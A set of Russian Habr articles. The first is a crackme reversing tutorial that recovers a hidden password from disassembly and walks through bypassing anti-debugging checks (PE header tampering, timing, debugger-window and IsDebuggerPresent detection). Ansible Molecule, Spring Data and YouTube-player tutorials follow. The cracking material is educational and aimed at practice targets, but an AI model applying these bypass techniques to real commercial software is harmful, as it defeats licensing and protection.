`004014F1 0FB613 MOVZX EDX,BYTE PTR DS:[EBX] ; наш пароль сейчас находится по адрессу расположенному в EBX, и сейчас мы заносим первый символ нашего пароля в EDX
004014F4 B9 08000000 MOV ECX,8
004014F9 AC LODS BYTE PTR DS:[ESI] ; подгружаем в EAX какой-то символ
004014FA 24 01 AND AL,1 ; and 1 с этим символом
004014FC 74 04 JE SHORT crackme2.00401502
004014FE D0E2 SHL DL,1
00401500 72 08 JB SHORT crackme2.0040150A
00401502 D0E2 SHL DL,1
00401504 0F82 BF020000 JB crackme2.004017C9 ; прыжок на плохую ветку программы
0040150A ^E2 ED LOOPD SHORT crackme2.004014F9
0040150C 43 INC EBX
0040150D 58 POP EAX
0040150E 48 DEC EAX
0040150F 0F84 9A020000 JE crackme2.004017AF
00401515 50 PUSH EAX
00401516 ^EB D9 JMP SHORT crackme2.004014F1`
Над этим моментом я очень долго думал. Оказалось, что это процедура генерации пароля. То есть пароль хранится в программе не в открытом виде. AL на протяжении всей генерации принимает значения 1 или 0. Так вот, протрассировав всю процедуру генерации пароля и выписав все значения, я получил огромную строку из двоичных значений(для удобства перевёл в десятичную систему):
`119 101 108 108 100 111 110 101 85 102 105 110 100 109 101`
учитывая то, что каждая восьмёрка символов(в двойчной строке, а я перевёл в десятичную, поэтому тут это каждый символ обрамлённый пробелом), генерировалась после того, как мы положили в EDX определённый символ нашего введённого пароля, то можно утверждать что строка выше и есть валидный пароль. Перекодировав её получилось «welldoneUfindme».
#### 2. Некоторые антиотладочные методы
Антиотладочных методов очень много, начиная с этой статьи будем разбирать их по очереди, от простых к сложным.
Итак, на crackmes.de как раз есть специальный крякмис, который называется [AntiOlly](http://www.crackmes.de/users/sashx41/antiolly_1/download). Качаем его, запускаем и видим следующее окошко:
Тут нам говорят, что ничего не обнаружено и мы справились. Теперь мы имеем представление о том, как выглядит «хорошее» сообщение. Загружаем крякмис в Olly и видим следующее:
Ошибка вызвана тем, что Olly, проанализировав заголовок нашего крякмиса, нашла в нём(заголовке) ошибки. Но это поправимо. Загружаем наш крякмис в PE edior и переходим во вкладку Optional header. Моё внимание привлекло «слишком большое» значение параметров NumberOfRVAandSize, Base of Code и Base of Data. Обычно NumberOfRVAandSize = 0x00000010, Base of Code =00001000, Base of Data = 00002000. Меняем эти параметры на «обычные» и запускаем крякмис под отладчиком. Теперь ругательного сообщения не видно(т.е. оно осталось, но никак не повлияет на анализ) и мы можем спокойно анализировать крякмис. Итак, это была первая антиотладочная уловка.
Запустив крякмис под отладкой мы видим «плохое» сообщение:
Проанализировав программу мы находим участок антиотладочного кода:
`00401010 |. FFD7 CALL EDI // Вызываем функцию GetTickCount
00401012 |. 6A 00 PUSH 0
00401014 |. 68 34214000 PUSH AntiOlly.00402134
00401019 |. 8BF0 MOV ESI,EAX
0040101B |. FF15 DC204000 CALL DWORD PTR DS:[4020DC] //FindWindowA
00401021 |. 85C0 TEST EAX,EAX
00401023 |. 75 04 JNZ SHORT AntiOlly.00401029
00401025 |. 884424 0F MOV BYTE PTR SS:[ESP+F],AL
00401029 |> FF15 04204000 CALL DWORD PTR DS:[402004] //IsDebuggerPresent`
Итак, первая вызывается функция GetTickCount. Эта функция возвращает время, которые прошло с момента старта системы в милисекундах. Дело в том что есть ещё один вызов этой функции. Далее, в последующем коде, замеряется разница между значениями полученными в результате выполнения этих функций. Это была вторая антиотладочная хитрость.
Далее следует вызов FindWindowA, которая ищет окно с заголовком OllyDbg. Ну и наконец вызов IsDebuggerPresent, которая просто проверяет отлаживается программа или нет. Если да то в Eax 1 если нет то 0.
вот проверки, которые проводит крякмис:
`0040102F |. 85C0 TEST EAX,EAX // эта проверка после функции IsDebuggerPresent
00401031 |. 75 02 JNZ SHORT AntiOlly.00401035 // если дебаггер есть то прыгаем на 00401035
00401033 |. 32DB XOR BL,BL //если нет то обнуляем BL
00401035 |> FFD7 CALL EDI //Второй раз вызываем функцию GetTickCount
00401037 |. 2BF0 SUB ESI,EAX
00401039 |. 83FE 64 CMP ESI,64 // Сравниваем значения
0040103C |. 76 0D JBE SHORT AntiOlly.0040104B // Если ok то прыгаем на 0040104B
0040103E |. A1 44204000 MOV EAX,DWORD PTR DS:[402044]
00401043 |. 50 PUSH EAX
00401044 |. 68 3C214000 PUSH AntiOlly.0040213C
00401049 |. EB 3F JMP SHORT AntiOlly.0040108A // если не ok то идём по плохой ветке
0040104B |> 84DB TEST BL,BL
0040104D |. 74 14 JE SHORT AntiOlly.00401063 // Проверка результата функции IsDebuggerPresent
0040104F |. 8B15 44204000 MOV EDX,DWORD PTR DS:[402044]
00401055 |. A1 60204000 MOV EAX,DWORD PTR DS:[402060]
0040105A |. 52 PUSH EDX
0040105B |. 68 3C214000 PUSH AntiOlly.0040213C
00401060 |. 50 PUSH EAX
00401061 |. EB 2E JMP SHORT AntiOlly.00401091
00401063 |> 807C24 0F 00 CMP BYTE PTR SS:[ESP+F],0 //Проверка на то нашлось ли окно функцией FindWindow
00401068 |. 74 15 JE SHORT AntiOlly.0040107F`
Думаю теперь понятно где патчить или редактировать регистры.
Большое спасибо вам за внимание. | https://habr.com/ru/post/102126/ | null | ru | null |
# Разработка и тестирование Ansible-ролей с использованием Molecule и Podman
Одно из основных преимуществ Red Hat Ansible Automation Platform заключается в том, что ее язык описания автоматизаций читабелен не только для пары-тройки гуру, но и почти для всех, кто имеет отношение к ИТ. Поэтому вносить свой вклад в автоматизацию могут любые специалисты, что сильно облегчает организацию межкомандного взаимодействия и внедрение автоматизации на уровне корпоративной культуры.
Однако, когда делом занимается такая масса народа, очень важно все тщательно тестировать. При разработке Ansible-контента, вроде плейбуков, ролей или коллекций, мы очень рекомендуем предварительно проверять все в тестовой среде, прежде чем выкатывать в продакшн. Цель такого тестирования – удостовериться, что все работает как надо, чтобы избежать неприятных сюрпризов на «боевых» системах.
Тестирование автоматизационного контента – штука довольно сложная, поскольку для этого надо развертывать специальную инфраструктуру тестирования и настраивать условия тестирования, чтобы обеспечить релевантность самих тестов. Molecule – это комплексная инфраструктура тестирования, которая помогает разрабатывать и тестировать роли Ansible, чтобы вы могли сосредоточиться на разработке автоматизаций и не отвлекаться на управление инфраструктурой тестирования.
Вот как это декларируется в [документации](https://molecule.readthedocs.io/en/latest/index.html) проекта:
> «Molecule призван помочь в разработке и тестировании ролей Ansible, и способствует внедрению подхода, результатом которого являются комплексно проработанные роли, которые хорошо написаны, просты в понимании и поддержке».
Molecule позволяет протестировать роль на множестве целевых инстансов, чтобы проверить ее в различных комбинациях операционных систем и сред виртуализации. Без него для каждой из таких комбинаций пришлось бы создавать и поддерживать отдельную среду тестирования, настраивать подключение к тестовым инстансам и откатывать их в исходное состояние перед каждым тестированием. Molecule же делает все это за вас, причем автоматизированным и воспроизводимым образом.
В этой серии из двух частей мы покажем, как применять Molecule при разработке и тестировании ролей Ansible. В первой части рассмотрим установку и настройку Molecule, во второй – разработку ролей с его помощью.
Если роль является частью коллекции, используйте этот подход для разработки и юнит-тестирования роли. В следующей статье мы покажем, как применять Molecule для выполнения интегрированных тестов в коллекции.
Molecule использует драйверы для предоставления целевых инстансов на базе различных технологий, включая Linux-контейнеры, виртуальные машины и облачных провайдеров. По умолчанию он идет с тремя предустановленными драйверами: Docker и Podman для контейнеров, а также драйвером Delegated для создания кастомных интеграций. Драйверы для других провайдеров предоставляются сообществом разработки проекта.
В этом посте мы будем использовать драйвер [Podman](https://podman.io/) для разработки и тестирования новой роли с использованием Linux-контейнеров. Podman – это легковесный контейнерный движок для Linux, ему не нужен работающий демон и он обеспечивает запуск rootless-контейнеров, что хорошо для безопасности.
Используя Molecule с драйвером Podman, мы с нуля разработаем и протестируем новую роль Ansible, которая развертывает веб-приложение на базе веб-сервера Apache и должна работать на Red Hat Enterprise Linux (RHEL) 8 или Ubuntu 20.04.
Мы разбираем типовой сценарий, когда роль должна работать на различных версиях операционной системы. Используя Podman и Linux-контейнеры, мы можем создать несколько инстансов, чтобы протестировать роль на разных версиях ОС. Благодаря своей легковесности, контейнеры позволяют быстро итерировать функциональность роли прямо по ходу разработки. Использование контейнеров для тестирования ролей применимо в данной ситуации, поскольку роль конфигурирует только запущенные инстансы Linux. Для тестирования на других целевых системах или облачных инфраструктурах можно использовать драйвер delegated или другие драйверы, предоставляемые сообществом.
### Что нам понадобится
Для примеров из этой статьи нужна физическая или виртуальная машина Linux с установленными Python 3 и Podman (мы используем RHEL 8.2). Также Podman должен был сконфигурирован для запуска rootless-контейнеров. Установка Podman выходит за рамки этой статьи, для получения соответствующей информации см. официальную [документацию](https://podman.io/getting-started/installation). Установка Podman на RHEL 8 также описывается в [документации по контейнерам](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html-single/building_running_and_managing_containers/index#getting-container-tools_building-running-and-managing-containers) RHEL 8.
### Приступаем
Molecule выполнен в виде Python-пакета и, соответственно, устанавливается через pip. Первым шагом мы создаем выделенное Python-окружение и устанавливаем в него наш Molecule:
```
$ mkdir molecule-blog
$ cd molecule-blog
$ python3 -m venv molecule-venv
$ source molecule-venv/bin/activate
(molecule-venv) $ pip install "molecule[lint]"
```
Обратите внимание, что мы устанавливаем Molecule с опцией «lint», чтобы pip также поставил инструменты «yamllint» и «ansible-lint», которые позволят нам использовать Molecule для статического анализа кода роли на предмет соответствия стандартам кодирования Ansible.
Установка скачивает все необходимые зависимости из интернета, включая Ansible. Теперь смотрим что мы установили:
```
$ molecule --version
molecule 3.0.4
ansible==2.9.10 python==3.6
```
Что ж, пора использовать команду «molecule», чтобы инициализировать новую роль Ansible.
### Инициализируем новую роль Ansible
Вообще говоря, при разработке новой роли Ansible, она инициализируется командой «ansible-galaxy role init», но мы будем использовать вместо этого команду «molecule». При этом мы получим ту же структуру роли, что и с командой «ansible-galaxy», а также базовую заготовку кода для запуска тестов Molecule.
По умолчанию Molecule использует для выполнения тестов драйвер Docker. Поскольку мы хотим использовать вместо него podman, то при инициализации роли командой «molecule» надо указать соответствующий драйвер с помощью опции «--driver-name=podman».
Переключаемся обратно в каталог «molecule-blog» и инициализируем новую роль «mywebapp» следующей командой:
```
$ molecule init role mywebapp --driver-name=podman
--> Initializing new role mywebapp...
Initialized role in /home/ricardo/molecule-blog/mywebapp successfully.
```
Molecule создает структуру нашей роли в папке «mywebapp». Переключаемся в эту папку и смотрим, что там:
```
$ cd mywebapp
$ tree
.
├── defaults
│ └── main.yml
├── files
├── handlers
│ └── main.yml
├── meta
│ └── main.yml
├── molecule
│ └── default
│ ├── converge.yml
│ ├── INSTALL.rst
│ ├── molecule.yml
│ └── verify.yml
├── README.md
├── tasks
│ └── main.yml
├── templates
├── tests
│ ├── inventory
│ └── test.yml
└── vars
└── main.yml
10 directories, 12 files
```
Molecule складывает свои конфигурационные файлы в подкаталог «molecule». При инициализации новой роли здесь появляется всего один сценарий, который называется «default». Позднее сюда можно добавить свои сценарии для тестирования различных условий. В этой статье мы будем использовать только сценарий «default».
Проверим базовую конфигурацию в файле «molecule/default/molecule.yml»:
```
$ cat molecule/default/molecule.yml
---
dependency:
name: galaxy
driver:
name: podman
platforms:
- name: instance
image: docker.io/pycontribs/centos:7
pre_build_image: true
provisioner:
name: ansible
verifier:
name: ansible
```
Как мы и просили, в этом файле указано, что для тестов применяется драйвер Podman. Здесь же задается платформа по умолчанию для тестового инстанса, через контейнерный образ «docker.io/pycontribs/centos:7», который мы потом поменяем.
В отличие Molecule v2, Molecule v3 не задает линтер по умолчанию. Поэтому откроем конфигурационный файл «molecule/default/molecule.yml» и допишем в конце конфигурацию lint:
```
$ vi molecule/default/molecule.yml
...
verifier:
name: ansible
lint: |
set -e
yamllint .
ansible-lint .
```
Сохраним и закроем файл, и запустим команду «molecule lint» из корневой папки нашего проекта, чтобы прогнать линтер по всему проекту:
```
$ molecule lint
```
На выходе получаем несколько ошибок, поскольку в файле «meta/main.yml» нет ряда требуемых значений. Исправим это: отредактируем файл «meta/main.yml», добавив «author», «company», «license», «platforms» и удалив пустую строку в конце. Для краткости обойдемся без комментариев, и тогда наш «meta/main.yaml» будет выглядеть так:
```
$ vi meta/main.yml
galaxy_info:
author: Ricardo Gerardi
description: Mywebapp role deploys a sample web app
company: Red Hat
license: MIT
min_ansible_version: 2.9
platforms:
- name: rhel
versions:
- 8
- name: ubuntu
versions:
- 20.04
galaxy_tags: []
dependencies: []
```
Еще раз прогоним по проекту линтер и убедимся, что ошибок больше нет.
```
$ molecule lint
--> Test matrix
└── default
├── dependency
└── lint
--> Scenario: 'default'
--> Action: 'dependency'
Skipping, missing the requirements file.
Skipping, missing the requirements file.
--> Scenario: 'default'
--> Action: 'lint'
--> Executing: set -e
yamllint .
ansible-lint .
```
Итак, наша роль инициализирована и базовая конфигурация molecule тоже на месте. Теперь создадим тестовый инстанс.
### Создаем тестовый инстанс
По умолчанию Molecule задает только один инстанс, которые называется «instance» и создается из образа «Centos:7». Наша роль, если помните, должна работать на RHEL 8 и Ubuntu 20.04. Кроме того, поскольку она запускает веб-сервер Apache в качестве системной службы, нам нужен контейнерный образ с включенным «systemd».
У Red Hat есть официальный [Universal Base Image](https://www.redhat.com/en/blog/introducing-red-hat-universal-base-image) для RHEL 8 с включенным «systemd»:
• registry.access.redhat.com/ubi8/ubi-init
Для Ubuntu нет официального образа с «systemd», поэтому мы воспользуемся образом, который поддерживается силами Джефа Джирлинга (Jeff Geerling) из сообщества Ansible:
• geerlingguy/docker-ubuntu2004-ansible
Чтобы получить инстансы с «systemd», подправим конфигурационный файл «molecule/default/molecule.yml», убрав из него инстанс «centos:7» и добавив два новых инстанса:
```
$ vi molecule/default/molecule.yml
---
dependency:
name: galaxy
driver:
name: podman
platforms:
- name: rhel8
image: registry.access.redhat.com/ubi8/ubi-init
tmpfs:
- /run
- /tmp
volumes:
- /sys/fs/cgroup:/sys/fs/cgroup:ro
capabilities:
- SYS_ADMIN
command: "/usr/sbin/init"
pre_build_image: true
- name: ubuntu
image: geerlingguy/docker-ubuntu2004-ansible
tmpfs:
- /run
- /tmp
volumes:
- /sys/fs/cgroup:/sys/fs/cgroup:ro
capabilities:
- SYS_ADMIN
command: "/lib/systemd/systemd"
pre_build_image: true
provisioner:
name: ansible
verifier:
name: ansible
lint: |
set -e
yamllint .
ansible-lint .
```
С помощью этих параметров мы монтируем для каждого инстанса временную файловую систему «/run» и «/tmp», а также том «cgroup». Кроме того, мы включаем функцию «SYS\_ADMIN», необходимую для запуска контейнеров с Systemd.
Если делать все по уму и выполнять этот пример на машине RHEL 8 с включенным SELinux, то еще надо установить в true логический параметр «container\_manage\_cgroup», чтобы контейнеры могли запускать Systemd, (подробнее см. [документацию](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html-single/building_running_and_managing_containers/index#starting_services_within_a_container_using_systemd) RHEL 8):
```
sudo setsebool -P container_manage_cgroup 1
```
Для инициализации этих инстансов Molecule использует Ansible Playbook. Изменим и добавим параметры инициализации, модифицировав словарь «provisioner» в конфигурационном файле «molecule/default/molecule.yml».
Он принимает те же самые опции конфигурации, что прописаны в конфигурационном файле «ansible.cfg». Например, обновим конфигурацию провайдера (provisioner), добавив секцию «defaults». Установим интерпретатор Python в «auto\_silent», чтобы деактивировать предупреждения. Включим callback-плагины «profile\_tasks», «timer» и «yaml», чтобы профайлерская информация включалась в вывод Playbook. И наконец, добавим секцию «ssh\_connection» и отключим SSH pipelining, поскольку он не работает с Podman:
```
provisioner:
name: ansible
config_options:
defaults:
interpreter_python: auto_silent
callback_whitelist: profile_tasks, timer, yaml
ssh_connection:
pipelining: false
```
Сохраним этот файл и создадим инстанс командой «molecule create» из корневого каталога нашей роли:
```
$ molecule create
```
Molecule выполнит инициализационный плейбук и создаст оба наших инстанса. Проверим их командой «molecule list»:
```
$ molecule list
Instance Name Driver Name Provisioner Name Scenario Name Created Converged
--------------- ------------- ------------------ --------------- --------- -----------
rhel8 podman ansible default true false
ubuntu podman ansible default true false
```
Также проверим, что оба контейнера запущены в Podman:
```
$ podman ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
2e2f14eaa37b docker.io/geerlingguy/docker-ubuntu2004-ansible:latest /lib/systemd/syst... About a minute ago Up About a minute ago ubuntu
2ce0a0ea8692 registry.access.redhat.com/ubi8/ubi-init:latest /usr/sbin/init About a minute ago Up About a minute ago rhel8
```
При разработке роли Molecule использует запущенные инстансы для ее тестирования. Если тест проваливается или какая-то ошибка приводит к необратимым изменениям, из-за которых все надо начинать сначала, вы можете в любое время убить эти инстансы командой «molecule destroy» и создать их заново командной «molecule create».
### Заключение
Если вам не терпится и хочется поглубже копнуть тему разработки и тестирования ролей, или тему Ansible-автоматизации, то рекомендуем следующие ресурсы:
* [Ansible Whitepaper — Achieving Rolling Updates & Continuous Deployment](https://www.ansible.com/resources/whitepapers/continuous-integration-and-delivery)
* [Ansible Whitepaper — Ansible in Depth](https://www.ansible.com/resources/whitepapers/ansible-in-depth)
* [Getting Started Guide — Molecule documentation](https://molecule.readthedocs.io/en/latest/getting-started.html)
* [ansible-community/molecule: Molecule aids in the development and testing of Ansible roles](https://github.com/ansible-community/molecule)
* [Roles in the official Ansible documentation](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html)
* [Galaxy Developer Guide](https://docs.ansible.com/ansible/latest/galaxy/dev_guide.html) | https://habr.com/ru/post/519452/ | null | ru | null |
# Что нового в Spring Data (Klara Dan von) Neumann
***Перевод статьи подготовлен в преддверии старта курса [«Разработчик на Spring Framework»](https://otus.pw/FFfZ/).***
*Подробнее о курсе можно узнать посмотрев [запись дня открытых дверей](https://otus.pw/FFfZ/).*
---
> **Spring Data Neumann** — это первый релиз, после перехода на новый шестимесячный релизный цикл. Сокращение сроков между релизами позволит нам чаще выпускать новые фичи, а это, в свою очередь, ускорит и вас. В этом релизе, помимо нового функционала, есть также важные изменения, потенциально ломающие совместимость с предыдущими версиями.
Изменение мажорных версий
-------------------------
Для проектов, указанных ниже, увеличен номер мажорной версии из-за изменений, ломающих совместимость в публичных API или драйверах:
* Spring Data JDBC 2.0 (предыдущая версия 1.1)
* Миграция с 1.1 на 2.0 описана в этом [посте](https://spring.io/blog/2020/05/20/migrating-to-spring-data-jdbc-2-0).
* Spring Data MongoDB 3.0 (предыдущая версия 2.2)
* Spring Data для Apache Cassandra 3.0 (предыдущая версия 2.2)
* Spring Data Couchbase 4.0 (предыдущая версия 3.2)
* Spring Data Elasticsearch 4.0 (предыдущая версия 3.2)
* Подробнее об изменениях см. этом [посте](https://spring.io/blog/2020/05/27/what-s-new-in-spring-data-elasticsearch-4-0).
Перед тем как перейти к описанию новой функциональности, давайте посмотрим на изменения в API. Подробнее об этом смотрите в разделах по обновлению (“Upgrading”) в документации соответствующих модулей.
Если вы не готовы обновляться сейчас, то имейте в виду, что предыдущий релиз Moore будет поддерживаться еще в течение двенадцати месяцев.
#### JDBC
У каждого SQL-хранилища есть свои особенности, требующие особого подхода. Для улучшения их поддержки были внесены изменения, которые повлияли на увеличение мажорной версии. Теперь `AbstractJdbcConfiguration` по умолчанию пытается определить `Dialect` базы данных из заданного `DataSource` или зарегистрированного `DialectResolver`. По умолчанию модуль JDBC поставляется с диалектами для H2, HSQLDB, MySQL, Postgres, MariaDB, Microsoft SqlServer и DB2. Spring Data JDBC теперь по умолчанию экранирует все имена таблиц и колонок. Несмотря на то что из-за этого вам, возможно, придется изменить ваши `CREATE TABLE` или аннотации `@Column`, это даст большую гибкость при именовании объектов.
#### MongoDB
Единый jar с драйверами для MongoDB (mongo-java-driver) разбит на несколько: -sync и -reactivestreams, что позволяет вам выбрать только необходимый драйвер. То есть, и синхронный, и реактивный драйверы MongoDB теперь являются необязательными зависимостями, которые необходимо добавлять вручную. При переходе на новые драйвера некоторые из уже устаревших API были окончательно удалены, что повлияло на классы конфигурации, такие как `AbstractMongoConfiguration` и пространства имен XML, предоставляемые Spring Data. Подробнее смотрите раздел [по обновлению](https://docs.spring.io/spring-data/mongodb/docs/3.0.0.RELEASE/reference/html/#upgrading.2-3) в документации.
#### Apache Cassandra
Давно назревшее обновление драйверов Apache Cassandra до 4.0 не только обновляет пакет и структуру данных, но также изменяет поведение в кластере и в обработке сеансов. Это привело к серьезным изменениям в конфигурации, которые влияют на XML-конфигурацию и могут повлиять на конфигурацию в коде для каких-то сложных сценариев (сложнее, чем простая настройка по умолчанию `AbstractCassandraConfiguration`).
#### Couchbase
Вслед за Couchbase SDK мы обновились с версии 3.x до 4.x, что добавило автоматическое управление индексами и поддержку транзакций. Подробнее читайте в [блоге Couchbase](https://blog.couchbase.com/announcing-spring-data-couchbase-4-0/).
#### Elasticsearch
Добавлена поддержка HTTP Client API, SSL и Proxy. Также сделан ряд изменений, включающих в себя оптимизацию и удаление устаревшего API, что повлияло на изменение мажорного номера версии. В модуль Elasticsearch теперь входит Document, включающий в себя `Get-`, `Index-` и `Search-Requests`, что позволяет при маппинге использовать такие типы как `SearchHit`, `SearchHits` и `SearchPage`.
Теперь давайте перейдем к новшествам.
### Репозитории с поддержкой корутин Kotlin
Релиз Neumann продолжает развитие поддержки [корутин Kotlin](https://kotlinlang.org/docs/reference/coroutines-overview.html), начавшуюся в предыдущем релизе [Moore](https://spring.io/blog/2019/10/08/what-s-new-in-spring-data-moore), добавив их поддержку в репозиториях.
Корутины поддерживаются через реактивные Spring Data-репозитории. Теперь можно использовать реактивные методы запросов или писать свои suspended-функции.
```
interface StudentRepository : CoroutineCrudRepository {
suspend fun findOne(id: String): User
fun findByLastname(firstname: String): Flow
}
```
### `@Primary`-репозитории и ключевое слово “search”
Эти два небольших изменения улучшают поиск бинов репозиториев и именование методов запросов. Теперь аннотация `@Primary` на репозиториях-интерфейсах учитывается в конфигурации бинов, что помогает контейнеру резолвить зависимости. Для методов запросов теперь можно использовать префикс `"search"`, аналогично `"find"`. То есть теперь можно писать методы `"search...By..."`, например, `searchByFirstname`.
Несмотря на то что это было сделано для таких баз данных, как Elasticsearch, давайте двигаться дальше и посмотрим как `search...By...` можно использовать в Spring Data R2DBC.
### Генерация запросов R2DBC
До настоящего времени в Spring Data R2DBC для методов запросов использовалась аннотация `@Query` за исключением методов по умолчанию, предоставляемых через интерфейсы `*.Repository`. Теперь генерация запросов по имени метода работает аналогично другим модулям:
```
interface StudentRepository extends ReactiveCrudRepository {
Flux searchByLastname(String lastname); (1)
}
```
Это эквивалентно:
```
@Query("select id, firstname, lastname from customer c where c.lastname = :lastname")
```
### Разбивка на страницы и генерация запросов для JDBC
Spring Data JDBC 2.0 поддерживает еще больше реляционных баз данных. Теперь мы запускаем наши интеграционные тесты на H2, HSQLDB, MySQL, MariaDB, PostgreSQL и DB2.
Для этих баз данных мы поддерживаем генерацию запросов и разбивку на страницы. Например:
```
interface StudentRepository extends PagingAndSortingRepository {
Page findByLastname(String lastname);
}
```
В этом релизе мы также продолжаем двигаться в сторону NoSQL, начав с MongoDB и нового способа модификации документов.
### MongoDB Update Aggregations
Это важное изменение (которое не было полностью готово в релизе Moore) позволяет использовать [Aggregation Pipeline](https://docs.mongodb.com/manual/core/aggregation-pipeline/) для обновления данных. Таким образом, изменения могут содержать сложные выражения, такие как условия по значениям полей, например:
```
AggregationUpdate update = Aggregation.newUpdate()
.set("average").toValue(ArithmeticOperators.valueOf("tests").avg())
.set("grade").toValue(ConditionalOperators.switchCases(
when(valueOf("average").greaterThanEqualToValue(90)).then("A"),
when(valueOf("average").greaterThanEqualToValue(80)).then("B"),
when(valueOf("average").greaterThanEqualToValue(70)).then("C"),
when(valueOf("average").greaterThanEqualToValue(60)).then("D"))
.defaultTo("F")
);
template.update(Student.class)
.apply(update)
.all();
```
Также Spring Data MongoDB, несомненно, выиграет от недавно добавленной в другие модули поддержки встроенных объектов (embedded object).
### Поддержка embedded-типов в Apache Cassandra
Apache Cassandra теперь поддерживает маппинг встроенных типов (embedded type), которые уже давно были доступны в [Spring Data JDBC](https://docs.spring.io/spring-data/jdbc/docs/current/reference/html/#jdbc.entity-persistence.embedded-entities). В модели предметной области встроенные объекты используются для объектов-значений (Value Object), свойства которых хранятся в одной таблице. В следующем примере над полем `Student.name` стоит аннотация `@Embedded`, что приводит к тому, что все поля класса `Name` будут храниться в таблице `Student`, состоящей из трех столбцов (`student_id`, `firstname` и `lastname`):
```
public class Student {
@PrimaryKey("student_id")
private String studentId;
@Embedded(onEmpty = USE_NULL)
Name name;
}
public class Name {
private String firstname;
private String lastname;
}
```
### Аудит в Elasticsearch
Поскольку в ElasticSearch наличие `id` не является достаточным критерием для определения того, является ли объект новым, необходимо при реализации `Persistable` предоставить дополнительную информацию с помощью метода `isNew()`:
```
@Document(indexName = "person")
public class Person implements Persistable {
@Id private Long id;
private String lastName;
private String firstName;
@Field(type = Date)
private Instant createdDate;
private String createdBy
@Field(type = Date)
private Instant lastModifiedDate;
private String lastModifiedBy;
@Override
public boolean isNew() {
return id == null || (createdDate == null && createdBy == null);
}
}
```
После этого добавление `@EnableElasticsearchAuditing` в конфигурацию регистрирует все компоненты, необходимые для аудита.
### Neo4j
Spring Data Neo4j теперь поддерживает синтаксис запросов Neo4j 4.0 с параметрами. Синтаксис с заполнителями (placeholder) был ранее объявлен устаревшим, а сейчас полностью удален. Теперь модуль зависит от последних версий драйверов Neo4j-OGM и Neo4j Java для улучшения взаимодействия с последней версией Neo4j.
Также идет активная работа по поддержке реактивности для графовых баз данных и ее интеграция в Spring Data с [Neo4j](https://neo4j.com/developer/spring-data-neo4j-rx/) RX (хотя это и не входит в текущий релиз, но уже готово для включения в следующий).
### Apache Geode / VMware Tanzu GemFire
Модули Spring Data для Apache Geode и VMware Tanzu GemFire (`spring-data-geode` и `spring-data-gemfire`) объединены в один проект под общим названием SDG. Apache Geode был обновлен до 1.12.0, а GemFire до 9.10.0, который, в свою очередь, основан на Apache Geode 1.12. Кроме того, SDG компилируется и запускается на версиях JDK с 8 по 14.
SDG теперь поддерживает [публикацию событий автотранзакций](https://jira.spring.io/browse/DATAGEODE-272), которая преобразует событие Cache TransactionEvent от GemFire / Geode Cache в соответствующий ApplicationEvent контекста.
Также теперь можно [приостановить отправку событий](https://jira.spring.io/browse/DATAGEODE-242) на AEQ, настроенном с помощью SDG. Кроме того, при создании приложений на основе GemFire / Geode Locator с использованием аннотации SDG `@LocatorApplication` можно настроить [Locator для подключения к другим Locator](https://jira.spring.io/browse/DATAGEODE-272), создавая таким образом высокодоступный и устойчивый кластер.
---
[Узнать подробно о курсе.](https://otus.pw/FFfZ/)
---
Читать ещё
----------
* [Spring Boot — OAuth2 и JWT](https://habr.com/ru/company/otus/blog/453664/)
* [Введение в Spring Boot Actuator](https://habr.com/ru/company/otus/blog/452624/)
* [Паттерны проектирования, используемые в Spring Framework](https://habr.com/ru/company/otus/blog/451516/) | https://habr.com/ru/post/515972/ | null | ru | null |
# Youtube Player — создание собственного плеера на JavaScript
#### Вступление
Наверняка многие фронтэнд разработчики да и в целом многие пользователи хоть раз интересовались работой и функционированием Youtube Player. В этой статье я расскажу, как он работает, и как сделать свой плеер для воспроизведения Youtube видео со своим интерфейсом. Так же приведу примеры для понимания, как это работает.
Для обычного пользователя снаружи ссылка на видео может выглядеть таким образом: *[www.youtube.com/watch?v=](https://www.youtube.com/watch?v=){video\_id}* . Или, например, таким: *youtu.be/{video\_id}* — где video\_id — идентификатор видео в базе Youtube (он уникальный для каждого видео и самую важную информацию, по которой тянется видео, формируются ссылки и т.д). Для примера возьму, чтобы никого не обидеть (и не пиарить не дай бог) video\_id=CyVuYAHiZb8 — видео ролик с Ray Charles — Hit the Road.
Как многие знают, для вставки собственно видео на свой сайт существует простая возможность «скопировать HTML код» при нажатии на видео правой кнопкой в Youtube и получить в буфере iframe:
```
```
Таким iframe как раз и можно управлять на своем сайте. Далее расскажу, как это сделать на примере формирования своих элементов управления и обработчиков событий на Javascript + Jquery.
#### Страница с плеером — верстка
Сначала создаем простую html-страничку, в которой будут несколько div-block'ов, на которые мы привяжем наш плеер.
**HTML-код страницы**
```
Back
Play
Pause
Next
00:00
Громкость
Auto
FullScreen
Load New Playlist
Сменить качество на 480
```
**Стили кнопок и плеера**
```
body {
margin: 0;
}
.panel {
width: 850px;
height: 40px;
background: grey;
margin-top: -5px;
border: 1px solid #aaa;
}
#play, #back, #next, #pause{
float: left;
width: 50px;
height: 40px;
}
#time{
float: left;
width: 50px;
height: 40px;
color: #fff;
padding-top: 10px;
margin-left: 10px;
}
#line{
margin-top: 15px;
height: 4px;
width: 350px;
background: #fff;
float: left;
margin-right: 15px;
}
#volume {
float: left;
width: 80px;
height: 40px;
}
#quality{
float: left;
width: 50px;
height: 40px;
color: #fff;
padding-top: 10px;
margin-left: 10px;
}
#full {
float: left;
width: 75px;
height: 40px;
}
#fader {
background: black;
border-radius: 5px;
width: 10px;
height: 10px;
position: relative;
z-index: 4;
bottom: 3px;
}
#playlist {
margin-top: 20px;
}
.viewed {
position: absolute;
background: red;
height: 4px;
}
```
И самое главное — javascript.
Для создания и инициализации плеера через iframe api необходим div с идентификатором, к которому будет привязываться iframe с видео. В нашем случае это
#### Управление плеером — JavaScript
Все равно, куда вы его положите, но главное ниже подключаемых библиотек (для простоты можно прямо в html-документе).
**Весь Javascript-код - функции**
```
//Инициализация плеера
function onYouTubeIframeAPIReady() {
player = new YT.Player('player', {
height: '500',
playerVars: { 'autoplay': 0, 'controls': 0, 'showinfo': 0, 'rel': 0},
width: '850',
videoId: 'CyVuYAHiZb8',
events: {
'onReady': onPlayerReady
}
});
}
// Обработчик готовность
function onPlayerReady(event) {
var player = event.target;
iframe = document.getElementById('player');
setupListener();
updateTimerDisplay();
updateProgressBar();
time_update_interval = setInterval(function () {
updateTimerDisplay();
updateProgressBar();
}, 1000);
}
/*Слушать события*/
function setupListener (){
